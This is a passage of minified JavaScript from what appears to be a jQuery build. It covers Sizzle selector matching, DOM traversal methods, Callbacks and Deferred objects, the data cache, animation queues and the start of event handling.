                var t = 9 === A.nodeType ? A.documentElement : A,
                    i = e && e.parentNode;
                return A === i || !(!i || 1 !== i.nodeType || !(t.contains ? t.contains(i) : A.compareDocumentPosition && 16 & A.compareDocumentPosition(i)))
            } : function(A, e) {
                if (e)
                    for (; e = e.parentNode;)
                        if (e === A) return !0;
                return !1
            }, X = e ? function(A, e) {
                if (A === e) return P = !0, 0;
                var t = !A.compareDocumentPosition - !e.compareDocumentPosition;
                return t || (t = (A.ownerDocument || A) === (e.ownerDocument || e) ? A.compareDocumentPosition(e) : 1, 1 & t || !f.sortDetached && e.compareDocumentPosition(A) === t ? A === F || A.ownerDocument === R && U(R, A) ? -1 : e === F || e.ownerDocument === R && U(R, e) ? 1 : M ? q(M, A) - q(M, e) : 0 : 4 & t ? -1 : 1)
            } : function(A, e) {
                if (A === e) return P = !0, 0;
                var t, i = 0,
                    r = A.parentNode,
                    o = e.parentNode,
                    s = [A],
                    a = [e];
                if (!r || !o) return A === F ? -1 : e === F ? 1 : r ? -1 : o ? 1 : M ? q(M, A) - q(M, e) : 0;
                if (r === o) return n(A, e);
                for (t = A; t = t.parentNode;) s.unshift(t);
                for (t = e; t = t.parentNode;) a.unshift(t);
                for (; s[i] === a[i];) i++;
                return i ? n(s[i], a[i]) : s[i] === R ? -1 : a[i] === R ? 1 : 0
            }, F) : F
        }, e.matches = function(A, t) {
            return e(A, null, null, t)
        }, e.matchesSelector = function(A, t) {
            if ((A.ownerDocument || A) !== F && y(A), t = t.replace(aA, "='$1']"), f.matchesSelector && k && !T[t + " "] && (!j || !j.test(t)) && (!J || !J.test(t))) try {
                var i = N.call(A, t);
                if (i || f.disconnectedMatch || A.document && 11 !== A.document.nodeType) return i
            } catch (A) {}
            return e(t, F, null, [A]).length > 0
        }, e.contains = function(A, e) {
            return (A.ownerDocument || A) !== F && y(A), U(A, e)
        }, e.attr = function(A, e) {
            (A.ownerDocument || A) !== F && y(A);
            var t = S.attrHandle[e.toLowerCase()],
                i = t && V.call(S.attrHandle, e.toLowerCase()) ? t(A, e, !k) : void 0;
            return void 0 !== i ? i : f.attributes || !k ? A.getAttribute(e) : (i = A.getAttributeNode(e)) && i.specified ? i.value : null
        }, e.error = function(A) {
            throw new Error("Syntax error, unrecognized expression: " + A)
        }, e.uniqueSort = function(A) {
            var e, t = [],
                i = 0,
                r = 0;
            if (P = !f.detectDuplicates, M = !f.sortStable && A.slice(0), A.sort(X), P) {
                for (; e = A[r++];) e === A[r] && (i = t.push(r));
                for (; i--;) A.splice(t[i], 1)
            }
            return M = null, A
        }, w = e.getText = function(A) {
            var e, t = "",
                i = 0,
                r = A.nodeType;
            if (r) {
                if (1 === r || 9 === r || 11 === r) {
                    if ("string" == typeof A.textContent) return A.textContent;
                    for (A = A.firstChild; A; A = A.nextSibling) t += w(A)
                } else if (3 === r || 4 === r) return A.nodeValue
            } else
                for (; e = A[i++];) t += w(e);
            return t
        }, S = e.selectors = {
            cacheLength: 50,
            createPseudo: i,
            match: cA,
            attrHandle: {},
            find: {},
            relative: {
                ">": {
                    dir: "parentNode",
                    first: !0
                },
                " ": {
                    dir: "parentNode"
                },
                "+": {
                    dir: "previousSibling",
                    first: !0
                },
                "~": {
                    dir: "previousSibling"
                }
            },
            preFilter: {
                ATTR: function(A) {
                    return A[1] = A[1].replace(dA, fA), A[3] = (A[3] || A[4] || A[5] || "").replace(dA, fA), "~=" === A[2] && (A[3] = " " + A[3] + " "), A.slice(0, 4)
                },
                CHILD: function(A) {
                    return A[1] = A[1].toLowerCase(), "nth" === A[1].slice(0, 3) ? (A[3] || e.error(A[0]), A[4] = +(A[4] ? A[5] + (A[6] || 1) : 2 * ("even" === A[3] || "odd" === A[3])), A[5] = +(A[7] + A[8] || "odd" === A[3])) : A[3] && e.error(A[0]), A
                },
                PSEUDO: function(A) {
                    var e, t = !A[6] && A[2];
                    return cA.CHILD.test(A[0]) ? null : (A[3] ? A[2] = A[4] || A[5] || "" : t && IA.test(t) && (e = C(t, !0)) && (e = t.indexOf(")", t.length - e) - t.length) && (A[0] = A[0].slice(0, e), A[2] = t.slice(0, e)), A.slice(0, 3))
                }
            },
            filter: {
                TAG: function(A) {
                    var e = A.replace(dA, fA).toLowerCase();
                    return "*" === A ? function() {
                        return !0
                    } : function(A) {
                        return A.nodeName && A.nodeName.toLowerCase() === e
                    }
                },
                CLASS: function(A) {
                    var e = z[A + " "];
                    return e || (e = new RegExp("(^|" + AA + ")" + A + "(" + AA + "|$)")) && z(A, function(A) {
                        return e.test("string" == typeof A.className && A.className || void 0 !== A.getAttribute && A.getAttribute("class") || "")
                    })
                },
                ATTR: function(A, t, i) {
                    return function(r) {
                        var o = e.attr(r, A);
                        return null == o ? "!=" === t : !t || (o += "", "=" === t ? o === i : "!=" === t ? o !== i : "^=" === t ? i && 0 === o.indexOf(i) : "*=" === t ? i && o.indexOf(i) > -1 : "$=" === t ? i && o.slice(-i.length) === i : "~=" === t ? (" " + o.replace(rA, " ") + " ").indexOf(i) > -1 : "|=" === t && (o === i || o.slice(0, i.length + 1) === i + "-"))
                    }
                },
                CHILD: function(A, e, t, i, r) {
                    var o = "nth" !== A.slice(0, 3),
                        n = "last" !== A.slice(-4),
                        s = "of-type" === e;
                    return 1 === i && 0 === r ? function(A) {
                        return !!A.parentNode
                    } : function(e, t, a) {
                        var I, l, c, B, g, h, E = o !== n ? "nextSibling" : "previousSibling",
                            u = e.parentNode,
                            Q = s && e.nodeName.toLowerCase(),
                            d = !a && !s,
                            f = !1;
                        if (u) {
                            if (o) {
                                for (; E;) {
                                    for (B = e; B = B[E];)
                                        if (s ? B.nodeName.toLowerCase() === Q : 1 === B.nodeType) return !1;
                                    h = E = "only" === A && !h && "nextSibling"
                                }
                                return !0
                            }
                            if (h = [n ? u.firstChild : u.lastChild], n && d) {
                                for (B = u, c = B[b] || (B[b] = {}), l = c[B.uniqueID] || (c[B.uniqueID] = {}), I = l[A] || [], g = I[0] === Y && I[1], f = g && I[2], B = g && u.childNodes[g]; B = ++g && B && B[E] || (f = g = 0) || h.pop();)
                                    if (1 === B.nodeType && ++f && B === e) {
                                        l[A] = [Y, g, f];
                                        break
                                    }
                            } else if (d && (B = e, c = B[b] || (B[b] = {}), l = c[B.uniqueID] || (c[B.uniqueID] = {}), I = l[A] || [], g = I[0] === Y && I[1], f = g), !1 === f)
                                for (;
                                    (B = ++g && B && B[E] || (f = g = 0) || h.pop()) && ((s ? B.nodeName.toLowerCase() !== Q : 1 !== B.nodeType) || !++f || (d && (c = B[b] || (B[b] = {}), l = c[B.uniqueID] || (c[B.uniqueID] = {}), l[A] = [Y, f]), B !== e)););
                            return (f -= r) === i || f % i == 0 && f / i >= 0
                        }
                    }
                },
                PSEUDO: function(A, t) {
                    var r, o = S.pseudos[A] || S.setFilters[A.toLowerCase()] || e.error("unsupported pseudo: " + A);
                    return o[b] ? o(t) : o.length > 1 ? (r = [A, A, "", t], S.setFilters.hasOwnProperty(A.toLowerCase()) ? i(function(A, e) {
                        for (var i, r = o(A, t), n = r.length; n--;) i = q(A, r[n]), A[i] = !(e[i] = r[n])
                    }) : function(A) {
                        return o(A, 0, r)
                    }) : o
                }
            },
            pseudos: {
                not: i(function(A) {
                    var e = [],
                        t = [],
                        r = D(A.replace(oA, "$1"));
                    return r[b] ? i(function(A, e, t, i) {
                        for (var o, n = r(A, null, i, []), s = A.length; s--;)(o = n[s]) && (A[s] = !(e[s] = o))
                    }) : function(A, i, o) {
                        return e[0] = A, r(e, null, o, t), e[0] = null, !t.pop()
                    }
                }),
                has: i(function(A) {
                    return function(t) {
                        return e(A, t).length > 0
                    }
                }),
                contains: i(function(A) {
                    return A = A.replace(dA, fA),
                        function(e) {
                            return (e.textContent || e.innerText || w(e)).indexOf(A) > -1
                        }
                }),
                lang: i(function(A) {
                    return lA.test(A || "") || e.error("unsupported lang: " + A), A = A.replace(dA, fA).toLowerCase(),
                        function(e) {
                            var t;
                            do {
                                if (t = k ? e.lang : e.getAttribute("xml:lang") || e.getAttribute("lang")) return (t = t.toLowerCase()) === A || 0 === t.indexOf(A + "-")
                            } while ((e = e.parentNode) && 1 === e.nodeType);
                            return !1
                        }
                }),
                target: function(e) {
                    var t = A.location && A.location.hash;
                    return t && t.slice(1) === e.id
                },
                root: function(A) {
                    return A === L
                },
                focus: function(A) {
                    return A === F.activeElement && (!F.hasFocus || F.hasFocus()) && !!(A.type || A.href || ~A.tabIndex)
                },
                enabled: function(A) {
                    return !1 === A.disabled
                },
                disabled: function(A) {
                    return !0 === A.disabled
                },
                checked: function(A) {
                    var e = A.nodeName.toLowerCase();
                    return "input" === e && !!A.checked || "option" === e && !!A.selected
                },
                selected: function(A) {
                    return A.parentNode && A.parentNode.selectedIndex, !0 === A.selected
                },
                empty: function(A) {
                    for (A = A.firstChild; A; A = A.nextSibling)
                        if (A.nodeType < 6) return !1;
                    return !0
                },
                parent: function(A) {
                    return !S.pseudos.empty(A)
                },
                header: function(A) {
                    return gA.test(A.nodeName)
                },
                input: function(A) {
                    return BA.test(A.nodeName)
                },
                button: function(A) {
                    var e = A.nodeName.toLowerCase();
                    return "input" === e && "button" === A.type || "button" === e
                },
                text: function(A) {
                    var e;
                    return "input" === A.nodeName.toLowerCase() && "text" === A.type && (null == (e = A.getAttribute("type")) || "text" === e.toLowerCase())
                },
                first: s(function() {
                    return [0]
                }),
                last: s(function(A, e) {
                    return [e - 1]
                }),
                eq: s(function(A, e, t) {
                    return [0 > t ? t + e : t]
                }),
                even: s(function(A, e) {
                    for (var t = 0; e > t; t += 2) A.push(t);
                    return A
                }),
                odd: s(function(A, e) {
                    for (var t = 1; e > t; t += 2) A.push(t);
                    return A
                }),
                lt: s(function(A, e, t) {
                    for (var i = 0 > t ? t + e : t; --i >= 0;) A.push(i);
                    return A
                }),
                gt: s(function(A, e, t) {
                    for (var i = 0 > t ? t + e : t; ++i < e;) A.push(i);
                    return A
                })
            }
        }, S.pseudos.nth = S.pseudos.eq;
        for (d in {
                radio: !0,
                checkbox: !0,
                file: !0,
                password: !0,
                image: !0
            }) S.pseudos[d] = function(A) {
            return function(e) {
                return "input" === e.nodeName.toLowerCase() && e.type === A
            }
        }(d);
        for (d in {
                submit: !0,
                reset: !0
            }) S.pseudos[d] = function(A) {
            return function(e) {
                var t = e.nodeName.toLowerCase();
                return ("input" === t || "button" === t) && e.type === A
            }
        }(d);
        return I.prototype = S.filters = S.pseudos, S.setFilters = new I, C = e.tokenize = function(A, t) {
            var i, r, o, n, s, a, I, l = G[A + " "];
            if (l) return t ? 0 : l.slice(0);
            for (s = A, a = [], I = S.preFilter; s;) {
                i && !(r = nA.exec(s)) || (r && (s = s.slice(r[0].length) || s), a.push(o = [])), i = !1, (r = sA.exec(s)) && (i = r.shift(), o.push({
                    value: i,
                    type: r[0].replace(oA, " ")
                }), s = s.slice(i.length));
                for (n in S.filter) !(r = cA[n].exec(s)) || I[n] && !(r = I[n](r)) || (i = r.shift(), o.push({
                    value: i,
                    type: n,
                    matches: r
                }), s = s.slice(i.length));
                if (!i) break
            }
            return t ? s.length : s ? e.error(A) : G(A, a).slice(0)
        }, D = e.compile = function(A, e) {
            var t, i = [],
                r = [],
                o = T[A + " "];
            if (!o) {
                for (e || (e = C(A)), t = e.length; t--;) o = u(e[t]), o[b] ? i.push(o) : r.push(o);
                o = T(A, Q(r, i)), o.selector = A
            }
            return o
        }, v = e.select = function(A, e, t, i) {
            var r, o, n, s, I, c = "function" == typeof A && A,
                B = !i && C(A = c.selector || A);
            if (t = t || [], 1 === B.length) {
                if (o = B[0] = B[0].slice(0), o.length > 2 && "ID" === (n = o[0]).type && f.getById && 9 === e.nodeType && k && S.relative[o[1].type]) {
                    if (!(e = (S.find.ID(n.matches[0].replace(dA, fA), e) || [])[0])) return t;
                    c && (e = e.parentNode), A = A.slice(o.shift().value.length)
                }
                for (r = cA.needsContext.test(A) ? 0 : o.length; r-- && (n = o[r], !S.relative[s = n.type]);)
                    if ((I = S.find[s]) && (i = I(n.matches[0].replace(dA, fA), uA.test(o[0].type) && a(e.parentNode) || e))) {
                        if (o.splice(r, 1), !(A = i.length && l(o))) return K.apply(t, i), t;
                        break
                    }
            }
            return (c || D(A, B))(i, e, !k, t, !e || uA.test(A) && a(e.parentNode) || e), t
        }, f.sortStable = b.split("").sort(X).join("") === b, f.detectDuplicates = !!P, y(), f.sortDetached = r(function(A) {
            return 1 & A.compareDocumentPosition(F.createElement("div"))
        }), r(function(A) {
            return A.innerHTML = "<a href='#'></a>", "#" === A.firstChild.getAttribute("href")
        }) || o("type|href|height|width", function(A, e, t) {
            return t ? void 0 : A.getAttribute(e, "type" === e.toLowerCase() ? 1 : 2)
        }), f.attributes && r(function(A) {
            return A.innerHTML = "<input/>", A.firstChild.setAttribute("value", ""), "" === A.firstChild.getAttribute("value")
        }) || o("value", function(A, e, t) {
            return t || "input" !== A.nodeName.toLowerCase() ? void 0 : A.defaultValue
        }), r(function(A) {
            return null == A.getAttribute("disabled")
        }) || o($, function(A, e, t) {
            var i;
            return t ? void 0 : !0 === A[e] ? e.toLowerCase() : (i = A.getAttributeNode(e)) && i.specified ? i.value : null
        }), e
    }(A);
    oA.find = lA, oA.expr = lA.selectors, oA.expr[":"] = oA.expr.pseudos, oA.uniqueSort = oA.unique = lA.uniqueSort, oA.text = lA.getText, oA.isXMLDoc = lA.isXML, oA.contains = lA.contains;
    var cA = function(A, e, t) {
            for (var i = [], r = void 0 !== t;
                (A = A[e]) && 9 !== A.nodeType;)
                if (1 === A.nodeType) {
                    if (r && oA(A).is(t)) break;
                    i.push(A)
                }
            return i
        },
        BA = function(A, e) {
            for (var t = []; A; A = A.nextSibling) 1 === A.nodeType && A !== e && t.push(A);
            return t
        },
        gA = oA.expr.match.needsContext,
        hA = /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,
        EA = /^.[^:#\[\.,]*$/;
    oA.filter = function(A, e, t) {
        var i = e[0];
        return t && (A = ":not(" + A + ")"), 1 === e.length && 1 === i.nodeType ? oA.find.matchesSelector(i, A) ? [i] : [] : oA.find.matches(A, oA.grep(e, function(A) {
            return 1 === A.nodeType
        }))
    }, oA.fn.extend({
        find: function(A) {
            var e, t = this.length,
                i = [],
                r = this;
            if ("string" != typeof A) return this.pushStack(oA(A).filter(function() {
                for (e = 0; t > e; e++)
                    if (oA.contains(r[e], this)) return !0
            }));
            for (e = 0; t > e; e++) oA.find(A, r[e], i);
            return i = this.pushStack(t > 1 ? oA.unique(i) : i), i.selector = this.selector ? this.selector + " " + A : A, i
        },
        filter: function(A) {
            return this.pushStack(i(this, A || [], !1))
        },
        not: function(A) {
            return this.pushStack(i(this, A || [], !0))
        },
        is: function(A) {
            return !!i(this, "string" == typeof A && gA.test(A) ? oA(A) : A || [], !1).length
        }
    });
    var uA, QA = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/;
    (oA.fn.init = function(A, e, t) {
        var i, r;
        if (!A) return this;
        if (t = t || uA, "string" == typeof A) {
            if (!(i = "<" === A[0] && ">" === A[A.length - 1] && A.length >= 3 ? [null, A, null] : QA.exec(A)) || !i[1] && e) return !e || e.jquery ? (e || t).find(A) : this.constructor(e).find(A);
            if (i[1]) {
                if (e = e instanceof oA ? e[0] : e, oA.merge(this, oA.parseHTML(i[1], e && e.nodeType ? e.ownerDocument || e : W, !0)), hA.test(i[1]) && oA.isPlainObject(e))
                    for (i in e) oA.isFunction(this[i]) ? this[i](e[i]) : this.attr(i, e[i]);
                return this
            }
            return r = W.getElementById(i[2]), r && r.parentNode && (this.length = 1, this[0] = r), this.context = W, this.selector = A, this
        }
        return A.nodeType ? (this.context = this[0] = A, this.length = 1, this) : oA.isFunction(A) ? void 0 !== t.ready ? t.ready(A) : A(oA) : (void 0 !== A.selector && (this.selector = A.selector, this.context = A.context), oA.makeArray(A, this))
    }).prototype = oA.fn, uA = oA(W);
    var dA = /^(?:parents|prev(?:Until|All))/,
        fA = {
            children: !0,
            contents: !0,
            next: !0,
            prev: !0
        };
    oA.fn.extend({
        has: function(A) {
            var e = oA(A, this),
                t = e.length;
            return this.filter(function() {
                for (var A = 0; t > A; A++)
                    if (oA.contains(this, e[A])) return !0
            })
        },
        closest: function(A, e) {
            for (var t, i = 0, r = this.length, o = [], n = gA.test(A) || "string" != typeof A ? oA(A, e || this.context) : 0; r > i; i++)
                for (t = this[i]; t && t !== e; t = t.parentNode)
                    if (t.nodeType < 11 && (n ? n.index(t) > -1 : 1 === t.nodeType && oA.find.matchesSelector(t, A))) {
                        o.push(t);
                        break
                    }
            return this.pushStack(o.length > 1 ? oA.uniqueSort(o) : o)
        },
        index: function(A) {
            return A ? "string" == typeof A ? $.call(oA(A), this[0]) : $.call(this, A.jquery ? A[0] : A) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1
        },
        add: function(A, e) {
            return this.pushStack(oA.uniqueSort(oA.merge(this.get(), oA(A, e))))
        },
        addBack: function(A) {
            return this.add(null == A ? this.prevObject : this.prevObject.filter(A))
        }
    }), oA.each({
        parent: function(A) {
            var e = A.parentNode;
            return e && 11 !== e.nodeType ? e : null
        },
        parents: function(A) {
            return cA(A, "parentNode")
        },
        parentsUntil: function(A, e, t) {
            return cA(A, "parentNode", t)
        },
        next: function(A) {
            return r(A, "nextSibling")
        },
        prev: function(A) {
            return r(A, "previousSibling")
        },
        nextAll: function(A) {
            return cA(A, "nextSibling")
        },
        prevAll: function(A) {
            return cA(A, "previousSibling")
        },
        nextUntil: function(A, e, t) {
            return cA(A, "nextSibling", t)
        },
        prevUntil: function(A, e, t) {
            return cA(A, "previousSibling", t)
        },
        siblings: function(A) {
            return BA((A.parentNode || {}).firstChild, A)
        },
        children: function(A) {
            return BA(A.firstChild)
        },
        contents: function(A) {
            return A.contentDocument || oA.merge([], A.childNodes)
        }
    }, function(A, e) {
        oA.fn[A] = function(t, i) {
            var r = oA.map(this, e, t);
            return "Until" !== A.slice(-5) && (i = t), i && "string" == typeof i && (r = oA.filter(i, r)), this.length > 1 && (fA[A] || oA.uniqueSort(r), dA.test(A) && r.reverse()), this.pushStack(r)
        }
    });
    var SA = /\S+/g;
    oA.Callbacks = function(A) {
        A = "string" == typeof A ? o(A) : oA.extend({}, A);
        var e, t, i, r, n = [],
            s = [],
            a = -1,
            I = function() {
                for (r = A.once, i = e = !0; s.length; a = -1)
                    for (t = s.shift(); ++a < n.length;) !1 === n[a].apply(t[0], t[1]) && A.stopOnFalse && (a = n.length, t = !1);
                A.memory || (t = !1), e = !1, r && (n = t ? [] : "")
            },
            l = {
                add: function() {
                    return n && (t && !e && (a = n.length - 1, s.push(t)), function e(t) {
                        oA.each(t, function(t, i) {
                            oA.isFunction(i) ? A.unique && l.has(i) || n.push(i) : i && i.length && "string" !== oA.type(i) && e(i)
                        })
                    }(arguments), t && !e && I()), this
                },
                remove: function() {
                    return oA.each(arguments, function(A, e) {
                        for (var t;
                            (t = oA.inArray(e, n, t)) > -1;) n.splice(t, 1), a >= t && a--
                    }), this
                },
                has: function(A) {
                    return A ? oA.inArray(A, n) > -1 : n.length > 0
                },
                empty: function() {
                    return n && (n = []), this
                },
                disable: function() {
                    return r = s = [], n = t = "", this
                },
                disabled: function() {
                    return !n
                },
                lock: function() {
                    return r = s = [], t || (n = t = ""), this
                },
                locked: function() {
                    return !!r
                },
                fireWith: function(A, t) {
                    return r || (t = t || [], t = [A, t.slice ? t.slice() : t], s.push(t), e || I()), this
                },
                fire: function() {
                    return l.fireWith(this, arguments), this
                },
                fired: function() {
                    return !!i
                }
            };
        return l
    }, oA.extend({
        Deferred: function(A) {
            var e = [
                    ["resolve", "done", oA.Callbacks("once memory"), "resolved"],
                    ["reject", "fail", oA.Callbacks("once memory"), "rejected"],
                    ["notify", "progress", oA.Callbacks("memory")]
                ],
                t = "pending",
                i = {
                    state: function() {
                        return t
                    },
                    always: function() {
                        return r.done(arguments).fail(arguments), this
                    },
                    then: function() {
                        var A = arguments;
                        return oA.Deferred(function(t) {
                            oA.each(e, function(e, o) {
                                var n = oA.isFunction(A[e]) && A[e];
                                r[o[1]](function() {
                                    var A = n && n.apply(this, arguments);
                                    A && oA.isFunction(A.promise) ? A.promise().progress(t.notify).done(t.resolve).fail(t.reject) : t[o[0] + "With"](this === i ? t.promise() : this, n ? [A] : arguments)
                                })
                            }), A = null
                        }).promise()
                    },
                    promise: function(A) {
                        return null != A ? oA.extend(A, i) : i
                    }
                },
                r = {};
            return i.pipe = i.then, oA.each(e, function(A, o) {
                var n = o[2],
                    s = o[3];
                i[o[1]] = n.add, s && n.add(function() {
                    t = s
                }, e[1 ^ A][2].disable, e[2][2].lock), r[o[0]] = function() {
                    return r[o[0] + "With"](this === r ? i : this, arguments), this
                }, r[o[0] + "With"] = n.fireWith
            }), i.promise(r), A && A.call(r, r), r
        },
        when: function(A) {
            var e, t, i, r = 0,
                o = K.call(arguments),
                n = o.length,
                s = 1 !== n || A && oA.isFunction(A.promise) ? n : 0,
                a = 1 === s ? A : oA.Deferred(),
                I = function(A, t, i) {
                    return function(r) {
                        t[A] = this, i[A] = arguments.length > 1 ? K.call(arguments) : r, i === e ? a.notifyWith(t, i) : --s || a.resolveWith(t, i)
                    }
                };
            if (n > 1)
                for (e = new Array(n), t = new Array(n), i = new Array(n); n > r; r++) o[r] && oA.isFunction(o[r].promise) ? o[r].promise().progress(I(r, t, e)).done(I(r, i, o)).fail(a.reject) : --s;
            return s || a.resolveWith(i, o), a.promise()
        }
    });
    var wA;
    oA.fn.ready = function(A) {
        return oA.ready.promise().done(A), this
    }, oA.extend({
        isReady: !1,
        readyWait: 1,
        holdReady: function(A) {
            A ? oA.readyWait++ : oA.ready(!0)
        },
        ready: function(A) {
            (!0 === A ? --oA.readyWait : oA.isReady) || (oA.isReady = !0, !0 !== A && --oA.readyWait > 0 || (wA.resolveWith(W, [oA]), oA.fn.triggerHandler && (oA(W).triggerHandler("ready"), oA(W).off("ready"))))
        }
    }), oA.ready.promise = function(e) {
        return wA || (wA = oA.Deferred(), "complete" === W.readyState || "loading" !== W.readyState && !W.documentElement.doScroll ? A.setTimeout(oA.ready) : (W.addEventListener("DOMContentLoaded", n), A.addEventListener("load", n))), wA.promise(e)
    }, oA.ready.promise();
    var pA = function(A, e, t, i, r, o, n) {
            var s = 0,
                a = A.length,
                I = null == t;
            if ("object" === oA.type(t)) {
                r = !0;
                for (s in t) pA(A, e, s, t[s], !0, o, n)
            } else if (void 0 !== i && (r = !0, oA.isFunction(i) || (n = !0), I && (n ? (e.call(A, i), e = null) : (I = e, e = function(A, e, t) {
                    return I.call(oA(A), t)
                })), e))
                for (; a > s; s++) e(A[s], t, n ? i : i.call(A[s], s, e(A[s], t)));
            return r ? A : I ? e.call(A) : a ? e(A[0], t) : o
        },
        CA = function(A) {
            return 1 === A.nodeType || 9 === A.nodeType || !+A.nodeType
        };
    s.uid = 1, s.prototype = {
        register: function(A, e) {
            var t = e || {};
            return A.nodeType ? A[this.expando] = t : Object.defineProperty(A, this.expando, {
                value: t,
                writable: !0,
                configurable: !0
            }), A[this.expando]
        },
        cache: function(A) {
            if (!CA(A)) return {};
            var e = A[this.expando];
            return e || (e = {}, CA(A) && (A.nodeType ? A[this.expando] = e : Object.defineProperty(A, this.expando, {
                value: e,
                configurable: !0
            }))), e
        },
        set: function(A, e, t) {
            var i, r = this.cache(A);
            if ("string" == typeof e) r[e] = t;
            else
                for (i in e) r[i] = e[i];
            return r
        },
        get: function(A, e) {
            return void 0 === e ? this.cache(A) : A[this.expando] && A[this.expando][e]
        },
        access: function(A, e, t) {
            var i;
            return void 0 === e || e && "string" == typeof e && void 0 === t ? (i = this.get(A, e), void 0 !== i ? i : this.get(A, oA.camelCase(e))) : (this.set(A, e, t), void 0 !== t ? t : e)
        },
        remove: function(A, e) {
            var t, i, r, o = A[this.expando];
            if (void 0 !== o) {
                if (void 0 === e) this.register(A);
                else {
                    oA.isArray(e) ? i = e.concat(e.map(oA.camelCase)) : (r = oA.camelCase(e), e in o ? i = [e, r] : (i = r, i = i in o ? [i] : i.match(SA) || [])), t = i.length;
                    for (; t--;) delete o[i[t]]
                }(void 0 === e || oA.isEmptyObject(o)) && (A.nodeType ? A[this.expando] = void 0 : delete A[this.expando])
            }
        },
        hasData: function(A) {
            var e = A[this.expando];
            return void 0 !== e && !oA.isEmptyObject(e)
        }
    };
    var DA = new s,
        vA = new s,
        mA = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
        MA = /[A-Z]/g;
    oA.extend({
        hasData: function(A) {
            return vA.hasData(A) || DA.hasData(A)
        },
        data: function(A, e, t) {
            return vA.access(A, e, t)
        },
        removeData: function(A, e) {
            vA.remove(A, e)
        },
        _data: function(A, e, t) {
            return DA.access(A, e, t)
        },
        _removeData: function(A, e) {
            DA.remove(A, e)
        }
    }), oA.fn.extend({
        data: function(A, e) {
            var t, i, r, o = this[0],
                n = o && o.attributes;
            if (void 0 === A) {
                if (this.length && (r = vA.get(o), 1 === o.nodeType && !DA.get(o, "hasDataAttrs"))) {
                    for (t = n.length; t--;) n[t] && (i = n[t].name, 0 === i.indexOf("data-") && (i = oA.camelCase(i.slice(5)), a(o, i, r[i])));
                    DA.set(o, "hasDataAttrs", !0)
                }
                return r
            }
            return "object" == typeof A ? this.each(function() {
                vA.set(this, A)
            }) : pA(this, function(e) {
                var t, i;
                if (o && void 0 === e) {
                    if (void 0 !== (t = vA.get(o, A) || vA.get(o, A.replace(MA, "-$&").toLowerCase()))) return t;
                    if (i = oA.camelCase(A), void 0 !== (t = vA.get(o, i))) return t;
                    if (void 0 !== (t = a(o, i, void 0))) return t
                } else i = oA.camelCase(A), this.each(function() {
                    var t = vA.get(this, i);
                    vA.set(this, i, e), A.indexOf("-") > -1 && void 0 !== t && vA.set(this, A, e)
                })
            }, null, e, arguments.length > 1, null, !0)
        },
        removeData: function(A) {
            return this.each(function() {
                vA.remove(this, A)
            })
        }
    }), oA.extend({
        queue: function(A, e, t) {
            var i;
            return A ? (e = (e || "fx") + "queue", i = DA.get(A, e), t && (!i || oA.isArray(t) ? i = DA.access(A, e, oA.makeArray(t)) : i.push(t)), i || []) : void 0
        },
        dequeue: function(A, e) {
            e = e || "fx";
            var t = oA.queue(A, e),
                i = t.length,
                r = t.shift(),
                o = oA._queueHooks(A, e),
                n = function() {
                    oA.dequeue(A, e)
                };
            "inprogress" === r && (r = t.shift(), i--), r && ("fx" === e && t.unshift("inprogress"), delete o.stop, r.call(A, n, o)), !i && o && o.empty.fire()
        },
        _queueHooks: function(A, e) {
            var t = e + "queueHooks";
            return DA.get(A, t) || DA.access(A, t, {
                empty: oA.Callbacks("once memory").add(function() {
                    DA.remove(A, [e + "queue", t])
                })
            })
        }
    }), oA.fn.extend({
        queue: function(A, e) {
            var t = 2;
            return "string" != typeof A && (e = A, A = "fx", t--), arguments.length < t ? oA.queue(this[0], A) : void 0 === e ? this : this.each(function() {
                var t = oA.queue(this, A, e);
                oA._queueHooks(this, A), "fx" === A && "inprogress" !== t[0] && oA.dequeue(this, A)
            })
        },
        dequeue: function(A) {
            return this.each(function() {
                oA.dequeue(this, A)
            })
        },
        clearQueue: function(A) {
            return this.queue(A || "fx", [])
        },
        promise: function(A, e) {
            var t, i = 1,
                r = oA.Deferred(),
                o = this,
                n = this.length,
                s = function() {
                    --i || r.resolveWith(o, [o])
                };
            for ("string" != typeof A && (e = A, A = void 0), A = A || "fx"; n--;)(t = DA.get(o[n], A + "queueHooks")) && t.empty && (i++, t.empty.add(s));
            return s(), r.promise(e)
        }
    });
    var PA = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
        yA = new RegExp("^(?:([+-])=|)(" + PA + ")([a-z%]*)$", "i"),
        FA = ["Top", "Right", "Bottom", "Left"],
        LA = function(A, e) {
            return A = e || A, "none" === oA.css(A, "display") || !oA.contains(A.ownerDocument, A)
        },
        kA = /^(?:checkbox|radio)$/i,
        JA = /<([\w:-]+)/,
        jA = /^$|\/(?:java|ecma)script/i,
        NA = {
            option: [1, "<select multiple='multiple'>", "</select>"],
            thead: [1, "<table>", "</table>"],
            col: [2, "<table><colgroup>", "</colgroup></table>"],
            tr: [2, "<table><tbody>", "</tbody></table>"],
            td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
            _default: [0, "", ""]
        };
    NA.optgroup = NA.option, NA.tbody = NA.tfoot = NA.colgroup = NA.caption = NA.thead, NA.th = NA.td;
    var UA = /<|&#?\w+;/;
    ! function() {
        var A = W.createDocumentFragment(),
            e = A.appendChild(W.createElement("div")),
            t = W.createElement("input");
        t.setAttribute("type", "radio"), t.setAttribute("checked", "checked"), t.setAttribute("name", "t"), e.appendChild(t), iA.checkClone = e.cloneNode(!0).cloneNode(!0).lastChild.checked, e.innerHTML = "<textarea>x</textarea>", iA.noCloneChecked = !!e.cloneNode(!0).lastChild.defaultValue
    }();
    var bA = /^key/,
        RA = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
        YA = /^([^.]*)(?:\.(.+)|)/;
    oA.event = {
        global: {},
        add: function(A, e, t, i, r) {
            var o, n, s, a, I, l, c, B, g, h, E, u = DA.get(A);
            if (u)
                for (t.handler && (o = t, t = o.handler, r = o.selector), t.guid || (t.guid = oA.guid++), (a = u.events) || (a = u.events = {}), (n = u.handle) || (n = u.handle = function(e) {
                        return void 0 !== oA && oA.event.triggered !== e.type ? oA.event.dispatch.apply(A, arguments) : void 0
                    }), e = (e || "").match(SA) || [""], I = e.length; I--;) s = YA.exec(e[I]) || [], g = E = s[1], h = (s[2] || "").split(".").sort(), g && (c = oA.event.special[g] || {}, g = (r ? c.delegateType : c.bindType) || g, c = oA.event.special[g] || {}, l = oA.extend({
                    type: g,
                    origType: E,
